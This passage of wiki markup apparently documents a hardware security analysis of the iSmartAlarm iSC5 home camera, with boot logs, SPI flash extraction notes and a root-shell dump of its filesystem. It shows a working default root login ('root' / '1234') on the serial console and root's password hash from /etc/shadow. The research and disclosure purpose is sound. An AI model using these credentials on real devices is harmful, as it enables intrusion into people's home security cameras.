cropcapframe rate update,  pix_clk: 46607142, rate 10 fps, frame_length: 0xac9, line_length: 0x698&lt;br /&gt;
.defrect = (0, 40, 1280, 720)&lt;br /&gt;
-----&amp;gt;sussess crop to (0, 40, 1280, 720)&lt;br /&gt;
channel 1 buffer count=2, size=1384448&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
-----------------------------open video -------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
OPEN video driver OK &lt;br /&gt;
snx_vc snx_vc: snx_vc_open: Created instance c36af600, m2m_ctx: c2067800&lt;br /&gt;
snx_vc snx_vc: snx_vidioc_s_parm: snx_vidioc_s_parm: OUTPUT fps == 10&lt;br /&gt;
snx_vc snx_vc: snx_vidioc_s_parm: snx_vidioc_s_parm: CAPTURE fps == 10&lt;br /&gt;
snx_vc snx_vc: s_fmt: Setting format for type 2, wxh: 1280x720, fmt: 808596563&lt;br /&gt;
1280 720  scale == 1&lt;br /&gt;
snx_vc snx_vc: s_fmt: Setting format for type 1, wxh: 1280x720, fmt: 875967048&lt;br /&gt;
set md threshold 300 &lt;br /&gt;
&amp;lt;&amp;lt;&amp;lt;snx_vb2_alloc&amp;gt;&amp;gt;&amp;gt; alloc size=2768896 reduce size=1384448&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
----------VC_start_video success ch=1 &lt;br /&gt;
bps modify  == 50000 --&amp;gt; 400000&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
motor_set_move_flag 0(0:not move, 1:moving)&lt;br /&gt;
No lease, forking to background&lt;br /&gt;
********************video_chansnx_vc snx_vc: snx_vc_open: Created instance c3ef2e00, m2m_ctx: c36c8c00&lt;br /&gt;
nel[0].m2m.m2m 0 width 1snx_vc snx_vc: snx_vidioc_s_parm: snx_vidioc_s_parm: CAPTURE fps == 10&lt;br /&gt;
280  height 720************************&lt;br /&gt;
1280 snx_vc snx_vc: s_fmt: Setting format for type 1, wxh: 1280x720, fmt: 1196444237&lt;br /&gt;
720  scale == 1&lt;br /&gt;
&amp;lt;&amp;lt;&amp;lt;snx_vb2_alloc&amp;gt;&amp;gt;&amp;gt; alloc size=2768896 reduce size=1384448&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
local storage local storage local storage local storagear0130 start streaming&lt;br /&gt;
 &lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
LS: MSG_LS_T_RECORD_STATE = 0 (0:ready 1:stop)&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
----------VC_start_video success ch=0 &lt;br /&gt;
m2m-&amp;gt;cap_bytesused  0  == 0  1&lt;br /&gt;
m2m-&amp;gt;cap_bytesused  0  == 0  1&lt;br /&gt;
m2m-&amp;gt;cap_bytesused  0  == 0  1&lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
platform_move_handler HERE HERE  START MSG_SP_P_MOTORMOVE&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
motor_set_move_flag 0(0:not move, 1:moving)&lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
get Image size 4972 &lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iSmartAlarm login: root&lt;br /&gt;
Password: 1234&lt;br /&gt;
~ # exit&lt;br /&gt;
&lt;br /&gt;
process &#039;/sbin/getty -L ttyS0 115200 vt100&#039; (pid 603) exited. Scheduling for restart.&lt;br /&gt;
&lt;br /&gt;
starting pid 681, tty &#039;/dev/ttyS0&#039;: &#039;/sbin/getty -L ttyS0 115200 vt100&#039;&lt;br /&gt;
&lt;br /&gt;
iSmartAlarm login: default&lt;br /&gt;
login: can&#039;t change directory to &#039;/home/default&#039;&lt;br /&gt;
/ $ &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Factory Reset&amp;lt;/h5&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Press and hold the setup button for about 10s to set the device back to factory default. Once holding, the setup button, the device will start the setup process, which is trigger on key press, until interupted by the reset routine after holdign for 10s.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Spot - Smart Home Security Camera&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-----------nSessionID  is  -13 ----------- &lt;br /&gt;
get Image size 1188 &lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
@@@@ threadStatus[4].tm=0  tm=230&lt;br /&gt;
write child_getThreadsStatus -1&lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
function set_cur_net_state&lt;br /&gt;
function set_cur_net_state end&lt;br /&gt;
item = 0&lt;br /&gt;
item = Camera_SSID get &lt;br /&gt;
function set_MQTT_Connect_active &lt;br /&gt;
function set_MQTT_Connect_active end&lt;br /&gt;
function Cloud_Init &lt;br /&gt;
function Cloud_Init end&lt;br /&gt;
function Mode_info_Init &lt;br /&gt;
function Mode_info_Init end&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Active get y&lt;br /&gt;
acTmpBuf = y, lTmpLen = 1&lt;br /&gt;
start to set wifi,read para from flash&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Mode get D&lt;br /&gt;
item = 0&lt;br /&gt;
item = Camera_SSID get &lt;br /&gt;
CONFIG_WIFI_SSID  : � lTmpLen is: 0&lt;br /&gt;
wifi ssid is null , return&lt;br /&gt;
comeinto send_message_to_set_net&lt;br /&gt;
Play Music /usr/share/notify/dang.wav &lt;br /&gt;
[SNX-AUDIO] playback file /usr/share/notify/dang.wav open OK&lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((Video_Code_GetKey  is  0   2 ))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
audio interface opened&lt;br /&gt;
hw_params allocated&lt;br /&gt;
hw_params initialized&lt;br /&gt;
hw_params access setted&lt;br /&gt;
hw_params format setted&lt;br /&gt;
hw_params rate setted&lt;br /&gt;
hw_params channels setted&lt;br /&gt;
hw_params setted&lt;br /&gt;
hw_params freed&lt;br /&gt;
audio interface prepared&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
***************     audio_wifi(buffer_frames,48000)   2956072   ********************&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
*************************************************************&lt;br /&gt;
******************    begin Cooee      **************&lt;br /&gt;
*************************************************************&lt;br /&gt;
pstAlarmFuncInfo-&amp;gt;nCloudyStateFlag = 0&lt;br /&gt;
OK&lt;br /&gt;
 no pic  231  um 847590 &lt;br /&gt;
 no pic  232  um 49682 &lt;br /&gt;
 no pic  232  um 264913 &lt;br /&gt;
 no pic  232  um 464008 &lt;br /&gt;
 no pic  232  um 661709 &lt;br /&gt;
 no pic  232  um 847831 &lt;br /&gt;
 no pic  233  um 47615 &lt;br /&gt;
 no pic  233  um 244993 &lt;br /&gt;
 no pic  233  um 461132 &lt;br /&gt;
 no pic  233  um 660414 &lt;br /&gt;
 no pic  233  um 861181 &lt;br /&gt;
 no pic  234  um 43007 &lt;br /&gt;
 no pic  234  um 243759 &lt;br /&gt;
 no pic  234  um 443064 &lt;br /&gt;
 no pic  234  um 661355 &lt;br /&gt;
 no pic  234  um 859948 &lt;br /&gt;
 no pic  235  um 60911 &lt;br /&gt;
 no pic  235  um 243859 &lt;br /&gt;
 no pic  235  um 443836 &lt;br /&gt;
 no pic  235  um 654527 &lt;br /&gt;
 no pic  235  um 861137 &lt;br /&gt;
 no pic  236  um 60774 &lt;br /&gt;
 no pic  236  um 263041 &lt;br /&gt;
 no pic  236  um 443540 &lt;br /&gt;
 no pic  236  um 643899 &lt;br /&gt;
 no pic  236  um 863547 &lt;br /&gt;
 no pic  237  um 60909 &lt;br /&gt;
 no pic  237  um 261431 &lt;br /&gt;
 no pic  237  um 460862 &lt;br /&gt;
Easy setup target library v3.3.0&lt;br /&gt;
&lt;br /&gt;
WLC_E_TRACE: [Event lost (msg) --&amp;gt; seqnum 5 nblost 4&lt;br /&gt;
000764.406 EasySetupFW: START&lt;br /&gt;
000764.406 Default channel list: &lt;br /&gt;
000764.406 2 7 12 3 8 13 4 9 5 10 1 6 11 &lt;br /&gt;
000764.406 -&amp;gt; [0]@CH[0]&lt;br /&gt;
000764.406 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.407 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.407 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.407 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.408 Protocol 0 init done&lt;br /&gt;
000764.408 Protocol 1 init done&lt;br /&gt;
000764.408 -&amp;gt; [1]@CH[0]&lt;br /&gt;
000764.409 ES: ERROR -2 add packet filter&lt;br /&gt;
 no pic  237  um 644411 &lt;br /&gt;
 no pic  237  um 847519 &lt;br /&gt;
 no pic  238  um 60686 &lt;br /&gt;
 no pic  238  um 258675 &lt;br /&gt;
 no pic  238  um 464081 &lt;br /&gt;
000765.484 -&amp;gt; [2]@CH[0]&lt;br /&gt;
000765.484 =&amp;gt; 11 &amp;lt;1&amp;gt;&lt;br /&gt;
 no pic  238  um 659067 &lt;br /&gt;
 no pic  238  um 847587 &lt;br /&gt;
 no pic  239  um 46387 &lt;br /&gt;
 no pic  239  um 263318 &lt;br /&gt;
 no pic  239  um 461071 &lt;br /&gt;
 no pic  239  um 658918 &lt;br /&gt;
 no pic  239  um 851473 &lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
 no pic  240  um 45822 &lt;br /&gt;
 no pic  240  um 246879 &lt;br /&gt;
 no pic  240  um 461897 &lt;br /&gt;
 no pic  240  um 661574 &lt;br /&gt;
 no pic  240  um 862076 &lt;br /&gt;
 no pic  241  um 42901 &lt;br /&gt;
RESET FACTORY RESET FACTORY RESET FACTORY RESET FACTORY&lt;br /&gt;
RESET FACTORY RESET FACTORY RESET FACTORY RESET FACTORY&lt;br /&gt;
RESET FACTORY RESET FACTORY RESET FACTORY RESET FACTORY&lt;br /&gt;
 no pic  241  um 293545 &lt;br /&gt;
 no pic  241  um 451548 &lt;br /&gt;
 no pic  241  um 652147 &lt;br /&gt;
 no pic  241  um 851155 &lt;br /&gt;
 no pic  242  um 52229 &lt;br /&gt;
 no pic  242  um 229505 &lt;br /&gt;
MCU_self_reset MCU_self_reset Restarting system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MiB&lt;br /&gt;
MMC:   SD Card not detect&lt;br /&gt;
mmci_host_init error - -1&lt;br /&gt;
&lt;br /&gt;
SPI FLASH: 16 MB&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
Hit any key to stop autoboot:  5 ��� 4 ��� 3 ��� 2 ��� 1 ��� 0 &lt;br /&gt;
roofsr size = 0x63b070&lt;br /&gt;
## Booting kernel from Legacy Image at 00008000 ...&lt;br /&gt;
   Image Name:   Linux-2.6.35.12&lt;br /&gt;
   Image Type:   ARM Linux Kernel Image (uncompressed)&lt;br /&gt;
   Data Size:    2947968 Bytes = 2.8 MiB&lt;br /&gt;
   Load Address: 00008000&lt;br /&gt;
   Entry Point:  00008040&lt;br /&gt;
   Verifying Checksum ... OK&lt;br /&gt;
   XIP Kernel Image ... OK&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
Starting kernel ...&lt;br /&gt;
&lt;br /&gt;
[ ... ]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;JTAG&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) JTAG Pin assignment.jpeg|200px|right|thumb|JTAG Pin Assignment]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Exploit Memory Chips&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The examined device uses SPI NOR Flash (SOP8) (MX25L12835F) to store data and/or (parts of) the firmware. The iSC5 additionally uses a another SOP16 chip (F9224 620K), which has the typical hand-drawn red mark on usually indicating the FW store. SPI (Serial Peripheral Interface) is a serial interface similar to UART. However, it is mainly used for communication between hardware components and offers a simple and efficient alternative to parallel bus systems following a master/slave architecture, which makes it very suitable for embedded applications. The focus of this work is on the use of SPI in combination with flash chips. With certain chip packages (e.g., SOP8/16), all data of the flash chip can be retrieved using SPI without having to unsolder the flash chip. In-Circuit Data Extraction allows chips to be read out without having to desolder them, which is only possible with chips of certain packages where the leads are exposed. Examples are NOR flash chips and EEPROMs of the Small-Outline Package (SOP), which use SPI or I2C. The SOP8 chips in this case could be read out using an SOP8 Clip and a CH341H programmer.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Datasheet&amp;lt;/b&amp;gt;: [https://www.mxic.com.tw/Lists/Datasheet/Attachments/7397/MX25L12835F,%203V,%20128Mb,%20v1.6.pdf MX25L12835F] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Live Analysis&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Overview Firmware 01-32bd010c (Factory Default)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Shell Commands&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;[                  ftpget             mkfifo             start-stop-daemon&lt;br /&gt;
[[                 ftpput             mkfs.ext2          strings&lt;br /&gt;
addgroup           fwburnonly         mkfs.reiser        stty&lt;br /&gt;
adduser            fwcnew             mkfs.vfat          su&lt;br /&gt;
arping             gdbserver          mknod              sulogin&lt;br /&gt;
ash                getopt             mktemp             swapoff&lt;br /&gt;
basename           getty              modprobe           swapon&lt;br /&gt;
bcmdl              gfwver             more               sync&lt;br /&gt;
busybox            gpio3_blink        mount              syslogd&lt;br /&gt;
cat                gpio_init          mount.exfat        tail&lt;br /&gt;
chgrp              gpio_led           mount.exfat-fuse   tar&lt;br /&gt;
chmod              gpio_ms1           mt                 tee&lt;br /&gt;
chown              grep               mv                 telnet&lt;br /&gt;
chroot             groups             netstat            telnetd&lt;br /&gt;
clear              halt               nice               test&lt;br /&gt;
cp                 hd                 nslookup           test_UP/&lt;br /&gt;
crond              head               ntfs-3g            time&lt;br /&gt;
crontab            hexdump            ntpd               top&lt;br /&gt;
cut                hostid             nvram_get          touch&lt;br /&gt;
date               hostname           nvram_init         tr&lt;br /&gt;
dc                 hwclock            nvram_set          true&lt;br /&gt;
dd                 id                 nvram_utility      tty&lt;br /&gt;
delgroup           ifconfig           pars_diff          ubimkvol&lt;br /&gt;
deluser            ifdown             passwd             ubirmvol&lt;br /&gt;
depmod             ifup               pidof              ubirsvol&lt;br /&gt;
df                 inetd              ping               ubiupdatevol&lt;br /&gt;
dhcprelay          init               ping6              udhcpc&lt;br /&gt;
dhd                insmod             poweroff           udhcpd&lt;br /&gt;
dhd_helper         install            printenv           umount&lt;br /&gt;
diff               ipcs               printf             uname&lt;br /&gt;
dirname            iwconfig           ps                 uniq&lt;br /&gt;
dmesg              iwlist             pstree             uptime&lt;br /&gt;
dnsd               iwpriv             pwd                users&lt;br /&gt;
dnsdomainname      kill               pwdx               usleep&lt;br /&gt;
du                 killall            readFile           uudecode&lt;br /&gt;
dumpleases         klogd              reboot             uuencode&lt;br /&gt;
echo               ln                 rm                 vi&lt;br /&gt;
egrep              logger             rmdir              vlock&lt;br /&gt;
env                login              rmmod              wc&lt;br /&gt;
expr               logname            route              wget&lt;br /&gt;
false              losetup            run-parts          which&lt;br /&gt;
fdformat           ls                 sed                who&lt;br /&gt;
fdisk              lsblk              setserial          whoami&lt;br /&gt;
fgrep              lsmod              sh                 whois&lt;br /&gt;
find               lsof               sha1sum            wl&lt;br /&gt;
flash_erase        md5sum             sha3sum            wpa_cli&lt;br /&gt;
flash_eraseall     mdev               singleBoadTest/    wpa_supplicant&lt;br /&gt;
free               mkdir              sleep              xargs&lt;br /&gt;
fstrim             mkdosfs            snx_pwm_period     yes&lt;br /&gt;
fsync              mke2fs             sort&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Service configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# echo $USER&lt;br /&gt;
root&lt;br /&gt;
&lt;br /&gt;
# cat /etc/passwd&lt;br /&gt;
root:x:0:0:root:/root:/bin/sh&lt;br /&gt;
daemon:x:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
bin:x:2:2:bin:/bin:/bin/sh&lt;br /&gt;
sys:x:3:3:sys:/dev:/bin/sh&lt;br /&gt;
sync:x:4:100:sync:/bin:/bin/sync&lt;br /&gt;
mail:x:8:8:mail:/var/spool/mail:/bin/sh&lt;br /&gt;
proxy:x:13:13:proxy:/bin:/bin/sh&lt;br /&gt;
www-data:x:33:33:www-data:/var/www:/bin/sh&lt;br /&gt;
backup:x:34:34:backup:/var/backups:/bin/sh&lt;br /&gt;
operator:x:37:37:Operator:/var:/bin/sh&lt;br /&gt;
sshd:x:103:99:Operator:/var:/bin/sh&lt;br /&gt;
nobody:x:99:99:nobody:/home:/bin/sh&lt;br /&gt;
default:x:1000:1000:Default non-root user:/home/default:/bin/sh&lt;br /&gt;
&lt;br /&gt;
# cat /etc/shadow&lt;br /&gt;
root:$1$2368HyEJ$kwdhYsA4j0BOLLvdohThM1:10933:0:99999:7:::&lt;br /&gt;
bin:*:10933:0:99999:7:::&lt;br /&gt;
daemon:*:10933:0:99999:7:::&lt;br /&gt;
adm:*:10933:0:99999:7:::&lt;br /&gt;
lp:*:10933:0:99999:7:::&lt;br /&gt;
sync:*:10933:0:99999:7:::&lt;br /&gt;
shutdown:*:10933:0:99999:7:::&lt;br /&gt;
halt:*:10933:0:99999:7:::&lt;br /&gt;
uucp:*:10933:0:99999:7:::&lt;br /&gt;
operator:*:10933:0:99999:7:::&lt;br /&gt;
nobody:*:10933:0:99999:7:::&lt;br /&gt;
default::10933:0:99999:7:::&lt;br /&gt;
&lt;br /&gt;
# cat /etc/group&lt;br /&gt;
root:x:0:&lt;br /&gt;
daemon:x:1:&lt;br /&gt;
bin:x:2:&lt;br /&gt;
sys:x:3:&lt;br /&gt;
adm:x:4:&lt;br /&gt;
tty:x:5:&lt;br /&gt;
disk:x:6:&lt;br /&gt;
wheel:x:10:root&lt;br /&gt;
utmp:x:43:&lt;br /&gt;
staff:x:50:&lt;br /&gt;
nobody:x:99:&lt;br /&gt;
nogroup:x:99:&lt;br /&gt;
users:x:100:&lt;br /&gt;
default:x:1000:&lt;br /&gt;
&lt;br /&gt;
# cat /linuxrc&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#&lt;br /&gt;
# This is the first script run in the system.&lt;br /&gt;
#&lt;br /&gt;
# Create device file&lt;br /&gt;
echo &amp;quot;Create device file&amp;quot;&lt;br /&gt;
/bin/mount -t proc none /proc&lt;br /&gt;
/bin/mount -t sysfs none /sys&lt;br /&gt;
/bin/mount -t usbfs none /proc/bus/usb&lt;br /&gt;
/bin/mount -t tmpfs -o size=512k,mode=0755 dev /dev&lt;br /&gt;
/bin/mkdir /dev/pts&lt;br /&gt;
/bin/mkdir /dev/shm&lt;br /&gt;
/bin/mount -t devpts devpts  /dev/pts&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
&lt;br /&gt;
#add for mount /dev/mtdblock4&lt;br /&gt;
/bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
if [ $? -ne 0 ]; then&lt;br /&gt;
        echo &amp;quot;Clean up the old data in the &#039;etc&#039; partition.&amp;quot;&lt;br /&gt;
        /usr/sbin/flash_eraseall -j -q /dev/mtd4&lt;br /&gt;
        /bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -x /etc/init.d/rcS ]; then&lt;br /&gt;
        echo &amp;quot;The system run for the first time.&amp;quot;&lt;br /&gt;
        echo &amp;quot;Please wait for initialization...&amp;quot;&lt;br /&gt;
        /bin/rm -rf /etc/*&lt;br /&gt;
        cp -a /root/etc_default/* /etc&lt;br /&gt;
        /bin/fsync&lt;br /&gt;
fi&lt;br /&gt;
#Create mdev&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
#add nvram inode&lt;br /&gt;
/sbin/modprobe snx_crypto&lt;br /&gt;
/sbin/modprobe snx_nvram&lt;br /&gt;
/bin/mknod /dev/nvram c 251 0&lt;br /&gt;
exec /sbin/init&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /etc/config/.user_config&lt;br /&gt;
[IP]&lt;br /&gt;
Wired_DNS=192.168.1.1&lt;br /&gt;
Wired_Gateway=192.168.1.1&lt;br /&gt;
Wired_Subnet=255.255.255.0&lt;br /&gt;
Wired_Mode=D&lt;br /&gt;
Wired_IP=192.168.1.68&lt;br /&gt;
Wifi_DNS=192.168.1.1&lt;br /&gt;
Wifi_Gateway=192.168.1.1&lt;br /&gt;
Wifi_Subnet=255.255.255.0&lt;br /&gt;
Wifi_IP=192.168.1.68&lt;br /&gt;
Wifi_Active=y&lt;br /&gt;
Wifi_Mode=D&lt;br /&gt;
&lt;br /&gt;
[ALARM]&lt;br /&gt;
Alarm_pir_Switch=n&lt;br /&gt;
Alarm_Audio_SmokeYXMOD=200&lt;br /&gt;
Alarm_Audio_Sensitivity=5&lt;br /&gt;
Alarm_Audio_Switch=n&lt;br /&gt;
Alarm_Motion_Region=0,0;0,0&lt;br /&gt;
Alarm_Motion_Sensitivity=5&lt;br /&gt;
Alarm_Motion_Switch=n&lt;br /&gt;
&lt;br /&gt;
[LED_CONTROL]&lt;br /&gt;
Light_Night=y&lt;br /&gt;
Light_Net=y&lt;br /&gt;
&lt;br /&gt;
[VA_PARMS]&lt;br /&gt;
Audio_Volume=1&lt;br /&gt;
Audio_Sample=8000&lt;br /&gt;
Audio_Channel=1&lt;br /&gt;
Video_OSD=n&lt;br /&gt;
Video_Sample=10&lt;br /&gt;
Video_Rate=50&lt;br /&gt;
Video_Vflip=1&lt;br /&gt;
Video_Hflip=1&lt;br /&gt;
Video_Constract=3&lt;br /&gt;
Video_Bright=1&lt;br /&gt;
Video_IPS=30&lt;br /&gt;
&lt;br /&gt;
[CAMERA_INFO]&lt;br /&gt;
Camera_Mqtt_Server=bzy.ismartalarm.com&lt;br /&gt;
Camera_Type=iSC5&lt;br /&gt;
P2p_UID=&lt;br /&gt;
Server_URL=api.ismartalarm.com&lt;br /&gt;
SW_Version=0.0.0.0&lt;br /&gt;
HW_Version=0.0.0.0&lt;br /&gt;
Config_Version=2.4.9.6&lt;br /&gt;
Device_State=u&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /etc/init.d/rcS&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;Load drivers...&amp;quot;&lt;br /&gt;
modprobe snx_gpio&lt;br /&gt;
modprobe snx_sd &amp;amp;&lt;br /&gt;
modprobe snx_nvram &amp;amp;&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/videomdprob.sh &amp;amp;&lt;br /&gt;
/etc/init.d/audmdprob.sh &amp;amp;&lt;br /&gt;
gpio_ms1 -n 3 -m 1 -v 0&lt;br /&gt;
if [ -f /lib/modules/2.6.35.12/kernel/drivers/bcmdhd.ko ]; then&lt;br /&gt;
        #/bin/bcmdl -n /usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm /usr/share/WUBB-738GN_4.2/Wi-Fi/fw_bcm43143b0_mfg.bin.trx -C 10&lt;br /&gt;
        /bin/bcmdl -n /usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm /usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx -C 10&lt;br /&gt;
        modprobe bcmdhd&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#if [ -f /lib/modules/2.6.35.12/kernel/drivers/bcmdhd.ko ]; then&lt;br /&gt;
#       /bin/bcmdl -n /etc/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-738gn.nvm /etc/WUBB-738GN_4.2/Wi-Fi/fw_bcm43143b0.bin.trx -C 10&lt;br /&gt;
#       modprobe bcmdhd&lt;br /&gt;
#fi&lt;br /&gt;
&lt;br /&gt;
#modprobe snx_pwm&lt;br /&gt;
#modprobe snx_rtc&lt;br /&gt;
#hwclock -s&lt;br /&gt;
#modprobe 8188eu&lt;br /&gt;
#modprobe ov971x&lt;br /&gt;
&lt;br /&gt;
# Start all init scripts in /etc/init.d&lt;br /&gt;
# executing them in numerical order.&lt;br /&gt;
#&lt;br /&gt;
